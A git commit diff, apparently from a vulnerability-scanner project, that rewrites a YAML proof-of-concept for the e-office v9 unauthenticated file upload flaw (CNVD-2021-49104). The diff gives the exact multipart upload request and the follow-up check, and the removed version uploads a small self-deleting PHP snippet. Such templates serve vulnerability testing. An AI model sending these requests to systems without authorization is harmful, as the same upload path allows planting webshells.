加入hash碰撞、wmiiexec无回显命令执行

This commit is contained in:
影舞者
2022-11-19 17:04:13 +08:00
parent 4908720acb
commit 3e8f23466d
17 changed files with 749 additions and 239 deletions
@@ -1,23 +1,22 @@
name: poc-yaml-e-office-v9-upload-cnvd-2021-49104
manual: true
transport: http
name: e-office-v9-upload-cnvd-2021-49104
set:
r1: randomLowercase(8)
rules:
- method: POST
path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
headers:
Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4
body: "--e64bdf16c554bbc109cecef6451c26a4\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"test.jsp\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php echo \"{{r1}}\"; unlink(__FILE__); ?>\r\n--e64bdf16c554bbc109cecef6451c26a4--\r\n\r\n"
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(b"logo-eoffice")
Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4
body: |-
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.txt"
Content-Type: image/jpeg
{{r1}}
--e64bdf16c554bbc109cecef6451c26a4--
expression: response.status == 200 && response.body.bcontains(b"logo-eoffice")
- method: GET
path: /images/logo/logo-eoffice.php
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes(r1))
path: /images/logo/logo-eoffice.txt
expression: response.status == 200 && response.body.bcontains(bytes(r1))
detail:
author: we1x4n
author: szd790056181
links:
- https://blog.csdn.net/weixin_44309905/article/details/121588557
- http://www.ctfiot.com/13682.html